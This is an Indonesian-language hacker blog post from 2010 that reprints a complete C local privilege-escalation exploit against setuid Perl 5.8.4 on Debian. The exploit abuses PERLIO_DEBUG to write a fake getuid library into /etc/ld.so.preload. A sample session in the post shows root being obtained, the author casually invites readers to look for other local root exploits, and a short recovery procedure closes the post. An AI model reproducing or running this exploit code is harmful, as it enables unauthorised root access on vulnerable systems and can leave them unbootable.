Jumat, 02 April 2010

- Root Exploit -

Bentuk dari exploit itu adalah seperti ini

/*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF – kf_lists[at]secnetops[dot]com – 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/

Lho ID nya dah root?? xD.. Untuk kernel yang lainnya juga tidak jauh berbeda

Hehehe… Monggo silakan di cari local root exploit yang lain ya
#define PRELOAD “/etc/ld.so.preload”
#include
#include

int main(int *argc, char **argv)
{

FILE *getuid;
if(!(getuid = fopen(“/tmp/getuid.c”,”w+”))) {
printf(“error opening file\n”);
exit(1);
}

fprintf(getuid, “int getuid(){return 0;}\n” );
fclose(getuid);

system(“cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so
/tmp/getuid.c -lc”);

putenv(“PERLIO_DEBUG=”PRELOAD);
umask(001); // I’m rw-rw-rw james bitch!
system(“/usr/bin/sperl5.8.4″);
FILE *ld_so_preload;

char preload[] = {
“/tmp/getuid.so\n”
};

if(!(ld_so_preload = fopen(PRELOAD,”w+”))) {
printf(“error opening file\n”);
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}

dikutip dari http://www.k-otik.com/exploits/20050207.ex_perl.c.php
untuk menyelesaikanya ada dengan cara :
1. boot pake knoppix atau linux rescue
2. trus cari file dengan nama file /etc/ld.so.preload
3. dalam file tersebut isinnya /tmp/getuid.so
4. kalo ada file tersebut hapus ajah jagn ragu2
5. setelah itu boot lage dari harddisk, ngga perlu diinstall ulang

jadi cara kerja dari exploit itu adalah ketika kita booting dia akan mencara file /tmp/getuid.so yang padahal sebenarnya emang ngga ada …. jadi hati hati dengan exploit ini… kalo emang ngga mao dibuat bingung ….

jadi buat temen temen sekalian yang udah ngebantu saya ucapkan terima kasih banyak :) :D

0 komentar:

Posting Komentar

 

Categories

free counters

Follower

Binus Hacker Copyright © 2010 Binus Hacker is Designed by Binus Hacker Crew Sponsored by Binus Hacker

Techie Blogger